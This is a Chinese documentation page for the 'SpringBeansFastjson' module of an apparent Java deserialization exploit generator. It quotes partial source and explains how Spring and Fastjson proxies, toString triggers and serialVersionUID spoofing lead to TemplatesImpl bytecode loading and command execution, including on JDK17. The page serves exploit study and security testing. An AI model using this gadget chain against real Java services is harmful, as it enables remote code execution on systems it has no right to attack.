Skip to content

Latest commit

 

History

History
88 lines (77 loc) · 6.82 KB

File metadata and controls

88 lines (77 loc) · 6.82 KB

Spring Fastjson链(SpringBeansFastjson)

  • 类别:javanative 别名:— 优先级:12
  • 作者:Unam4
  • 依赖Fastjson 1.xSpring-beans

作用

组合 Spring AutowireUtils$ObjectFactoryDelegatingInvocationHandler 动态代理 + Fastjson JSONObject(本身是 Map,可被当作 InvocationHandler)+ Templates 代理,构造一个 Java 原生反序列化链。反序列化触发 toString(低 JDK 用 BadAttributeValueExpException,高 JDK 用 XStringForChars)时,经 JSONObject.toString → 遍历取值 → 触发 ObjectFactory.getObject() 代理 → 最终调用内层 Templates.newTransformer() 加载恶意字节码。可打到 JDK17(需开放 java.base 相关模块)。

链接标签

  • 入口 tagsJavaNativeDeserialize —— 承接 Java 原生反序列化入口(最外层为 ArrayList,其元素在 readObject 时被处理)。
  • 衔接 nextTagsTemplatesImplChain —— 之后接 TemplatesImpl,由 newTransformer 引爆字节码。
  • excludes:无。

源码剖析

public Object getObject(Object obj) throws Exception {
    if (this.serialVersionUID == "-1515767093960859525") {
        JavassistHelper javassistHelper = new JavassistHelper(
            "org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
        javassistHelper.setSerialVersionUID("-1515767093960859525");
        CtClass ObjectFactoryInv = javassistHelper.getCtClass();
        Class aClass = ObjectFactoryInv.toClass((ClassLoader)new URLClassLoader(new URL[0]), null);
        this.inv = Reflections.createWithoutConstructor(aClass);
        ObjectFactoryInv.defrost();
    } else {
        this.inv = Reflections.createWithoutConstructor(
            "org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
    }
    ...
}
  • 先无构造器实例化 Spring 内部类 AutowireUtils$ObjectFactoryDelegatingInvocationHandler(一个 InvocationHandler)。当选用高版本 UID -1515767093960859525 时,用 JavassistHelper 动态改写该类的 serialVersionUIDtoClass 加载,以匹配目标 Spring-beans 版本、避免 InvalidClassException;否则直接实例化原类(对应低版本 UID -8835275493235412717)。
    HashMap<String, Object> hashMap = new HashMap<>();
    hashMap.put("object", obj);
    JSONObject jsonObject = new JSONObject(hashMap);
    Object o2 = Proxy.newProxyInstance(..., new Class[]{ObjectFactory.class}, (InvocationHandler)jsonObject);
    Reflections.setFieldValue(this.inv, "objectFactory", o2);
    Object o = Proxy.newProxyInstance(..., new Class[]{Templates.class}, (InvocationHandler)this.inv);
    JSONArray jsonArray = new JSONArray();
    jsonArray.add(o);
  • 核心两层代理:
    1. 内层 o2:以 Fastjson JSONObject(键 object → 内层 obj,即 TemplatesImpl)作为 InvocationHandler,代理 ObjectFactory 接口。Fastjson JSONObject.invoke 在被调用 getter(getObject)时会返回 map 里 object 键对应的值。
    2. 反射把 o2 写入 invobjectFactory 字段。ObjectFactoryDelegatingInvocationHandler.invoke 会调用 objectFactory.getObject() 拿到真实目标(即 TemplatesImpl),再把方法转发过去。
    3. 外层 o:以 inv 作为 handler、代理 Templates 接口。于是对 o 调用 Templates.newTransformer()inv.invokeobjectFactory.getObject()(返回 TemplatesImpl)→ 在 TemplatesImpl 上真正执行 newTransformer(),触发字节码加载。
    • o 放进 JSONArray,等待被 toString
    if (this.toString.equals("xString")) {
        ...XStringForChars xString...;
        HashMap map = PayloadHelper.makeMap(hashMap1, hashMap2);   // HashMap 键碰撞触发 toString
        ArrayList arrayList = ...; arrayList.add(obj); arrayList.add(o); arrayList.add(map);
        return arrayList;
    }
    BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
    Reflections.setFieldValue(badAttributeValueExpException, "val", jsonArray);
    ...
    ArrayList arrayList = ...; arrayList.add(obj); arrayList.add(badAttributeValueExpException);
    return arrayList;
  • 触发器二选一:
    • badAttributeValueExpException(默认,低 JDK):反射把其 val 设为 jsonArrayBadAttributeValueExpException.readObject 在特定条件下会调用 val.toString(),进而 JSONArray.toString → 遍历元素调 o.toString()... 实际上 Fastjson 的 JSONArray.toString 序列化时对每个元素取属性,触发代理 getObject/newTransformer
    • xString(高 JDK/JDK17):用 XStringForCharsm_obj 置空 char[])配合 PayloadHelper.makeMap 构造 HashMap 键哈希碰撞,在 HashMap.readObject → putVal → key.equals 时触发 toString/equals 链;XString 在高 JDK 上 serialVersionUID 一致,无需改写。
  • 两分支都把内层原始 obj 也放进返回的 ArrayList 首位(用于携带/占位)。

invokereturn this.getObject(chain.doCreate(context));

参数(@Param)

字段 名称 说明 默认 可选值
toString 选用 toString 进行触发 选择用 BadAttributeValueExpException(低 JDK)还是 xString(高 JDK,SerId 一致)触发 badAttributeValueExpException badAttributeValueExpException / xString
serialVersionUID serialVersionUID 选择 AutowireUtils$ObjectFactoryDelegatingInvocationHandler 的 UID 以匹配目标 Spring-beans 版本 -1515767093960859525 -8835275493235412717(低版本 Spring-beans <5.3) / -1515767093960859525(高版本 >=5.3)

适用版本与原理要点

  • 依赖 Fastjson 1.x(提供 JSONObject/JSONArray 作为 Map/InvocationHandler 载体)+ Spring-beans(提供 ObjectFactoryDelegatingInvocationHandler)。
  • 高低版本 Spring-beans 的目标内部类 UID 不同,需按 serialVersionUID 参数匹配;高版本分支用 Javassist 动态改写 UID。
  • 打 JDK17 需选 xString 触发,并开放 java.base/java.io=ALL-UNNAMED,java.base/java.lang=ALL-UNNAMED(作者注:高版本 web 应用默认开放)。
  • 最终 sink 为 Templates.newTransformerTemplatesImpl 字节码 defineClass

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。可自行拼接 [SpringBeansFastjson, TemplatesImpl, BytecodeConvert, Exec]

关联